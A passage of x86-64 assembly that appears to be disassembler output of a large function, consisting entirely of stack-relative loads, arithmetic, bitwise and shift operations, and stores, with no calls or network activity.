movzx ecx, word [rsp + 0x15ac]
add eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov word [rcx], ax
mov rax, qword [rsp + 0xd140]
mov qword [rsp + 0xd570], rax
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0x9600]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xafc8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ee0]
mov ecx, dword [0x1401cd710]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbaa8]
mov eax, dword [rax]
mov dword [rsp + 0x55ac], eax
movsx eax, word [rsp + 0x1764]
movsx ecx, word [rsp + 0x19d0]
add eax, ecx
mov word [0x1401cdf24], ax
mov rax, qword [rsp + 0xa8b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17f8]
and eax, ecx
mov rcx, qword [rsp + 0xa208]
mov word [rcx], ax
lea rax, [rsp + 0x2cb]
mov qword [rsp + 0xd578], rax
mov rax, qword [rsp + 0xb080]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1524]
shl eax, cl
mov word [rsp + 0x1b1c], ax
movzx eax, byte [rsp + 0x20e]
movzx ecx, byte [rsp + 0x14d]
or eax, ecx
mov byte [rsp + 0x1c8], al
lea rax, [rsp + 0x5194]
mov qword [rsp + 0xd580], rax
mov rax, qword [rsp + 0xa3e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5460]
shr eax, cl
mov dword [rsp + 0x5520], eax
mov rax, qword [rsp + 0xc618]
mov qword [rsp + 0xd588], rax
mov rax, qword [rsp + 0xd260]
mov rcx, qword [rsp + 0xaaf0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xae18], rax
mov rax, qword [rsp + 0xbf20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc218], ax
movzx eax, word [rsp + 0x15a0]
mov rcx, qword [rsp + 0xb060]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc2e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2b3]
mov byte [rsp + 0x3c3], al
movzx eax, byte [rsp + 0x162]
mov rcx, qword [rsp + 0x9710]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1b7], al
movzx eax, byte [rsp + 0x394]
mov byte [rsp + 0x3c4], al
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0x9e48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc38], rax
mov eax, dword [0x1401cd720]
mov ecx, dword [rsp + 0x5218]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x558c], eax
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov dword [rsp + 0x55b0], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0xb198]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa968], rax
mov rax, qword [rsp + 0xcbd8]
movzx eax, word [rax]
mov word [rsp + 0x1c58], ax
mov rax, qword [rsp + 0xcff8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2e1]
add eax, ecx
mov rcx, qword [0x1401cd900]
mov byte [rcx], al
mov rax, qword [rsp + 0x9180]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x176c]
sub eax, ecx
mov word [rsp + 0x1974], ax
lea rax, [rsp + 0x367]
mov qword [rsp + 0xd590], rax
movsx eax, byte [rsp + 0x36d]
mov rcx, qword [rsp + 0xd318]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x17b], al
mov rax, qword [rsp + 0x9b40]
mov rcx, qword [rsp + 0xc748]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e00], rax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xd598], rax
mov rax, qword [rsp + 0xc8f0]
mov ecx, dword [rsp + 0x5454]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47b8], eax
lea rax, [rsp + 0x9f80]
mov qword [rsp + 0xd5a0], rax
mov rax, qword [rsp + 0xafa8]
movzx eax, word [rax]
movzx ecx, word [0x1401cdafc]
or eax, ecx
mov word [rsp + 0x163c], ax
movzx eax, byte [rsp + 0x2bc]
mov byte [0x1401cd8fe], al
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x15dc]
shl eax, cl
mov rcx, qword [rsp + 0xbd98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x308]
mov byte [rsp + 0x3c5], al
mov rax, qword [rsp + 0xb0f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x18f0]
sar eax, cl
mov word [rsp + 0x1570], ax
mov rax, qword [rsp + 0xd000]
mov ecx, dword [rsp + 0x51e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4734], eax
mov rax, qword [rsp + 0xbf98]
mov ecx, dword [rsp + 0x50fc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x98d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd178]
mov rcx, qword [rsp + 0xce38]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa080]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd0c0]
mov rax, qword [rax]
mov qword [rsp + 0xd5a8], rax
movzx eax, byte [0x1401cd8d2]
mov rcx, qword [rsp + 0xcd38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcc78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ed]
mov rcx, qword [rsp + 0xc210]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cdae0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc058]
movzx eax, word [rax]
mov word [rsp + 0x1c5c], ax
movsx eax, byte [rsp + 0x3b2]
movsx ecx, byte [rsp + 0x2bf]
sub eax, ecx
mov byte [rsp + 0x202], al
movzx eax, word [rsp + 0x15d4]
mov rcx, qword [rsp + 0xc108]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x198c], ax
lea rax, [0x1401cd720]
mov qword [rsp + 0xd5b0], rax
mov rax, qword [rsp + 0xb8e0]
mov rcx, qword [rsp + 0xc418]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbd10]
mov qword [rcx], rax
lea rax, [rsp + 0xc698]
mov qword [rsp + 0xd5b8], rax
mov rax, qword [rsp + 0xcbb0]
mov rcx, qword [rsp + 0xb4b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9410]
movzx eax, byte [rax]
mov byte [rsp + 0x3c6], al
lea rax, [rsp + 0x216]
mov qword [0x1401ce028], rax
movsx eax, word [rsp + 0x1768]
movsx ecx, word [rsp + 0x1a80]
sub eax, ecx
mov rcx, qword [rsp + 0xc920]
mov word [rcx], ax
movzx eax, word [rsp + 0x18a4]
mov rcx, qword [rsp + 0x9ee0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
lea rax, [rsp + 0x194c]
mov qword [rsp + 0xd5c0], rax
movsx eax, byte [rsp + 0x397]
mov rcx, qword [rsp + 0xbb30]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x371], al
lea rax, [rsp + 0x5110]
mov qword [rsp + 0xd5c8], rax
mov rax, qword [rsp + 0xb620]
mov ecx, dword [rsp + 0x5558]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb6f8]
mov dword [rcx], eax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x8c98]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb578]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc940]
mov rax, qword [rax]
mov qword [rsp + 0xd5d0], rax
movzx eax, byte [rsp + 0x2e9]
mov rcx, qword [rsp + 0xb338]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cdee8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb9d0]
movzx eax, word [rax]
movzx ecx, word [0x1401cc1cc]
sub eax, ecx
mov word [rsp + 0x1af8], ax
lea rax, [rsp + 0x1bd8]
mov qword [rsp + 0xd5d8], rax
mov rax, qword [rsp + 0xac80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1970]
sub eax, ecx
mov word [rsp + 0x1040], ax
movsx eax, byte [rsp + 0x3bc]
mov rcx, qword [0x1401cde68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd018]
mov byte [rcx], al
mov rax, qword [rsp + 0x9820]
mov rax, qword [rax]
mov qword [rsp + 0xd5e0], rax
mov rax, qword [rsp + 0x9910]
mov ecx, dword [rsp + 0x5414]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fb0], eax
lea rax, [rsp + 0x4fe0]
mov qword [rsp + 0xd5e8], rax
mov rax, qword [rsp + 0xc200]
mov rcx, qword [rsp + 0xc900]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb9d8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x331]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [0x1401cc0f2], al
mov rax, qword [rsp + 0xaf00]
movzx eax, word [rax]
mov word [rsp + 0x1c60], ax
mov rax, qword [rsp + 0xb9b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x282]
add eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b84]
add eax, ecx
mov rcx, qword [rsp + 0x9980]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2c6]
mov byte [rsp + 0x3c7], al
mov rax, qword [rsp + 0xbb48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9040]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb170], rax
mov eax, dword [rsp + 0x54c4]
mov dword [rsp + 0x55b4], eax
mov eax, dword [rsp + 0x5598]
mov ecx, dword [rsp + 0x4e48]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9480]
mov rcx, qword [rsp + 0xa6f0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa178], rax
mov rax, qword [rsp + 0xa610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf18]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401cc090], ax
mov rax, qword [rsp + 0xaf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15a0]
shl eax, cl
mov word [rsp + 0x138c], ax
mov rax, qword [rsp + 0x92f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcfa8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x281], al
mov rax, qword [rsp + 0xc758]
movzx eax, byte [rax]
mov byte [rsp + 0x3c8], al
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0xb6b8]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xd4f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa658]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca0], rax
lea rax, [0x1401cd710]
mov qword [rsp + 0xd5f0], rax
mov eax, dword [rsp + 0x5580]
mov ecx, dword [rsp + 0x5368]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f20], eax
lea rax, [rsp + 0xd260]
mov qword [rsp + 0xd5f8], rax
lea rax, [rsp + 0x1b60]
mov qword [0x1401ce030], rax
mov rax, qword [0x1401cd860]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x396]
sub eax, ecx
mov rcx, qword [rsp + 0xaf98]
mov byte [rcx], al
mov rax, qword [rsp + 0xb9b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x178c]
add eax, ecx
mov rcx, qword [rsp + 0xa890]
mov word [rcx], ax
mov rax, qword [rsp + 0x9aa8]
movzx eax, byte [rax]
mov byte [rsp + 0x3c9], al
mov rax, qword [0x1401cddd0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3bb]
add eax, ecx
mov byte [rsp + 0x35d], al
lea rax, [rsp + 0xc3c8]
mov qword [rsp + 0xd600], rax
mov eax, dword [rsp + 0x5308]
mov ecx, dword [rsp + 0x4928]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcc08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x471c]
mov dword [rsp + 0x55b8], eax
mov rax, qword [rsp + 0xbfd0]
mov rcx, qword [rsp + 0x9c98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x97a8]
mov qword [rcx], rax
lea rax, [rsp + 0x232]
mov qword [0x1401ce038], rax
mov rax, qword [rsp + 0xd430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcc20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15bc], ax
lea rax, [rsp + 0x12e8]
mov qword [rsp + 0xd608], rax
mov rax, qword [rsp + 0x9398]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1668]
sub eax, ecx
mov rcx, qword [rsp + 0xb528]
mov word [rcx], ax
mov rax, qword [0x1401cd730]
movzx eax, byte [rax]
mov byte [rsp + 0x3ca], al
mov rax, qword [rsp + 0x8fd8]
mov rcx, qword [rsp + 0x84b8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa918], rax
mov rax, qword [rsp + 0xa458]
movzx ecx, al
mov rax, qword [rsp + 0xd0f8]
shl rax, cl
mov qword [rsp + 0x84d8], rax
lea rax, [rsp + 0x558c]
mov qword [rsp + 0xd610], rax
mov eax, dword [rsp + 0x4cb0]
movzx ecx, al
mov eax, dword [rsp + 0x4e48]
sar eax, cl
mov dword [rsp + 0x530c], eax
mov rax, qword [rsp + 0x9eb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d78]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401cd938]
mov byte [rcx], al
lea rax, str.:Akk
mov qword [rsp + 0xd618], rax
mov rax, qword [rsp + 0xb9e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0xb480]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x177c]
imul eax, ecx
mov word [rsp + 0x1828], ax
lea rax, [rsp + 0x302]
mov qword [rsp + 0xd620], rax
mov rax, qword [rsp + 0xa438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9db8]
mov rax, qword [rax]
mov qword [rsp + 0xd628], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x8f28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9110], rax
lea rax, [rsp + 0x54e0]
mov qword [rsp + 0xd630], rax
lea rax, [rsp + 0x199c]
mov qword [0x1401ce040], rax
mov rax, qword [rsp + 0xc868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38f]
add eax, ecx
mov rcx, qword [rsp + 0xa038]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd6]
sub eax, ecx
mov byte [rsp + 0x25e], al
lea rax, [rsp + 0x18c4]
mov qword [rsp + 0xd638], rax
mov rax, qword [rsp + 0xc9e8]
movzx eax, word [rax]
movzx ecx, word [0x1401cc0f0]
add eax, ecx
mov word [rsp + 0x1bf4], ax
mov rax, qword [rsp + 0xa920]
mov rax, qword [rax]
mov qword [rsp + 0xd640], rax
mov rax, qword [rsp + 0xac50]
mov rcx, qword [rsp + 0xa6e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbbf0]
mov ecx, dword [rsp + 0x515c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5098], eax
lea rax, [rsp + 0x55a4]
mov qword [rsp + 0xd648], rax
movzx eax, word [rsp + 0x1bbc]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c20], ax
mov rax, qword [rsp + 0xb5a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb6c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401cc0e4], ax
movzx eax, byte [rsp + 0x258]
mov byte [rsp + 0x3cb], al
movzx eax, byte [rsp + 0x324]
mov rcx, qword [rsp + 0xcec8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x24e], al
mov rax, qword [0x1401cdb18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc690]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd220]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0f8]
mov rax, qword [rax]
mov qword [rsp + 0xd650], rax
mov rax, qword [rsp + 0xca98]
mov rcx, qword [rsp + 0xa340]
mov qword [rsp + 0xd658], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd658]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xba50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9468]
mov ecx, dword [rsp + 0x50d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x49d0], eax
mov rax, qword [rsp + 0xcc10]
mov ecx, dword [rsp + 0x559c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9528]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd258]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb630]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov word [rcx], ax
lea rax, [rsp + 0x2ab]
mov qword [0x1401ce048], rax
mov rax, qword [rsp + 0xd638]
movzx eax, word [rax]
mov word [rsp + 0x1c64], ax
mov rax, qword [rsp + 0xc668]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd845]
add eax, ecx
mov rcx, qword [rsp + 0xcb20]
mov byte [rcx], al
lea rax, [rsp + 0x384]
mov qword [rsp + 0xd660], rax
mov rax, qword [rsp + 0xd0c0]
mov rcx, qword [rsp + 0xc658]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9e18], rax
mov eax, dword [rsp + 0x52fc]
mov dword [rsp + 0x55bc], eax
mov rax, qword [rsp + 0xa188]
mov rcx, qword [rsp + 0x9280]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5020], eax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0xb9f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa640], rax
mov rax, qword [rsp + 0xd0a0]
movzx eax, byte [rax]
mov byte [rsp + 0x3cc], al
movzx eax, word [0x1401cc160]
movzx ecx, word [rsp + 0x15a0]
sub eax, ecx
mov word [0x1401cc050], ax
movsx eax, byte [rsp + 0x293]
mov rcx, qword [rsp + 0xce68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e7], al
mov rax, qword [rsp + 0xc570]
movzx eax, byte [rax]
mov byte [rsp + 0x3cd], al
movsx eax, word [0x1401cc128]
mov rcx, qword [rsp + 0xbe70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16a8], ax
mov rax, qword [rsp + 0xb970]
mov rcx, qword [rsp + 0xa3e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x99e8]
mov dword [rcx], eax
mov rax, qword [0x1401cc020]
mov qword [rsp + 0xd668], rax
mov rax, qword [rsp + 0xcbf0]
mov rcx, qword [rsp + 0x8fc0]
mov qword [rsp + 0xd670], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd670]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xaf78], rax
mov rax, qword [rsp + 0xaed0]
mov eax, dword [rax]
mov dword [rsp + 0x55c0], eax
movzx eax, word [rsp + 0x170c]
mov rcx, qword [rsp + 0x9740]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xafd8]
mov word [rcx], ax
lea rax, [rsp + 0x1530]
mov qword [0x1401ce050], rax
mov rax, qword [rsp + 0xaa08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa618]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1be0], ax
movzx eax, byte [rsp + 0x2f5]
mov byte [rsp + 0x3ce], al
movsx eax, byte [rsp + 0x2a5]
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2c7], al
movzx eax, byte [rsp + 0x20b]
mov byte [rsp + 0x3cf], al
mov rax, qword [rsp + 0xd130]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4704]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc7b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b80]
mov rcx, qword [rsp + 0x91a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x80a0], rax
mov rax, qword [rsp + 0xcaf0]
mov rcx, qword [rsp + 0xcf90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x88b8], rax
mov rax, qword [rsp + 0xd5c8]
mov rcx, qword [rsp + 0x99e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x538c], eax
movzx eax, word [rsp + 0x1134]
movzx ecx, word [rsp + 0x178c]
sub eax, ecx
mov word [0x1401cdba0], ax
lea rax, [rsp + 0x19ac]
mov qword [rsp + 0xd678], rax
movzx eax, byte [0x1401cc087]
mov rcx, qword [rsp + 0xc850]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xadd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9f48]
movzx eax, byte [rax]
mov byte [rsp + 0x3d0], al
mov rax, qword [rsp + 0xbf20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb938]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd358]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1a8]
mov ecx, dword [rsp + 0x52f8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd208]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad10]
mov rax, qword [rax]
mov qword [rsp + 0xd680], rax
mov rax, qword [rsp + 0xa398]
mov rcx, qword [rsp + 0xafc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5420], eax
lea rax, [0x1401cc020]
mov qword [rsp + 0xd688], rax
movzx eax, byte [rsp + 0x3ce]
movzx ecx, byte [rsp + 0x21e]
sub eax, ecx
mov byte [0x1401cc0f3], al
movzx eax, word [rsp + 0x1a34]
mov rcx, qword [rsp + 0xa2c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c60], ax
movzx eax, byte [rsp + 0x20d]
mov rcx, qword [rsp + 0xc308]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x25a], al
lea rax, [rsp + 0x1974]
mov qword [rsp + 0xd690], rax
mov rax, qword [rsp + 0xbac8]
movsx eax, byte [rax]
mov rcx, qword [0x1401cdcc8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2bf], al
lea rax, [rsp + 0x5368]
mov qword [rsp + 0xd698], rax
mov rax, qword [rsp + 0xcf38]
mov rcx, qword [rsp + 0x9ff8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xae98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e50]
mov rcx, qword [rsp + 0x8fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x92b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5294]
mov dword [rsp + 0x55c4], eax
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x241]
sub eax, ecx
mov rcx, qword [0x1401cdf60]
mov byte [rcx], al
mov rax, qword [rsp + 0xa0b0]
movsx eax, word [rax]
movsx ecx, word [0x1401cc1dc]
add eax, ecx
mov word [rsp + 0x1b5c], ax
movzx eax, word [rsp + 0x1930]
mov word [rsp + 0x1c68], ax
mov rax, qword [rsp + 0x9810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x300]
and eax, ecx
mov rcx, qword [rsp + 0xa9a0]
mov byte [rcx], al
lea rax, [0x1401cc05c]
mov qword [rsp + 0xd6a0], rax
mov rax, qword [rsp + 0xaeb0]
mov ecx, dword [rsp + 0x4f64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x99e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf58]
mov ecx, dword [rsp + 0x477c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x93a8]
mov dword [rcx], eax
lea rax, [0x1401cc020]
mov qword [rsp + 0xd6a8], rax
mov rax, qword [rsp + 0xa098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ba0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbb58]
mov qword [rcx], rax
lea rax, [rsp + 0x164c]
mov qword [0x1401ce058], rax
movzx eax, word [rsp + 0x160c]
mov word [rsp + 0x1c6c], ax
mov rax, qword [0x1401cdff8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9190]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a6], al
mov rax, qword [rsp + 0xbed8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xabb0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xade8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1810]
mov word [rsp + 0x1c70], ax
mov rax, qword [rsp + 0xca60]
mov rcx, qword [rsp + 0x9078]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9660], rax
lea rax, [rsp + 0x4fb8]
mov qword [rsp + 0xd6b0], rax
mov rax, qword [rsp + 0xafe8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcdc0]
shr rax, cl
mov qword [rsp + 0x8980], rax
mov eax, dword [rsp + 0x50b8]
mov rcx, qword [rsp + 0xd5e8]
mov qword [rsp + 0xd6b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa808]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401cd9c8]
mov word [rcx], ax
lea rax, [0x1401cd8fc]
mov qword [rsp + 0xd6c0], rax
mov rax, qword [rsp + 0x9300]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb290]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x385], al
mov rax, qword [rsp + 0xa490]
movzx eax, word [rax]
mov word [rsp + 0x1c74], ax
movzx eax, byte [rsp + 0x274]
movzx ecx, byte [rsp + 0x28e]
sub eax, ecx
mov byte [rsp + 0x3a9], al
mov rax, qword [rsp + 0xad90]
mov rcx, qword [rsp + 0xd270]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa3a8]
mov qword [rcx], rax
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0xd6c8], rax
mov rax, qword [rsp + 0x9760]
mov ecx, dword [rsp + 0x49d0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd170]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd178]
mov rax, qword [rax]
mov qword [rsp + 0xd6d0], rax
lea rax, [rsp + 0x3c2]
mov qword [0x1401ce060], rax
mov rax, qword [rsp + 0xba70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17c8], ax
movsx eax, byte [0x1401cc0c7]
mov rcx, qword [rsp + 0xa888]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x59], al
movsx eax, word [rsp + 0x1924]
movsx ecx, word [rsp + 0x19b8]
sub eax, ecx
mov rcx, qword [rsp + 0x9ef8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x22c]
movzx ecx, byte [rsp + 0x34e]
add eax, ecx
mov rcx, qword [rsp + 0x9998]
mov byte [rcx], al
lea rax, [rsp + 0x5168]
mov qword [rsp + 0xd6d8], rax
mov rax, qword [rsp + 0xb5f0]
mov rcx, qword [rsp + 0xb9c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbca0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad80]
mov eax, dword [rax]
mov dword [rsp + 0x55c8], eax
mov rax, qword [rsp + 0xbeb0]
mov rcx, qword [rsp + 0xbcc8]
mov rax, qword [rax]
add rax, rcx
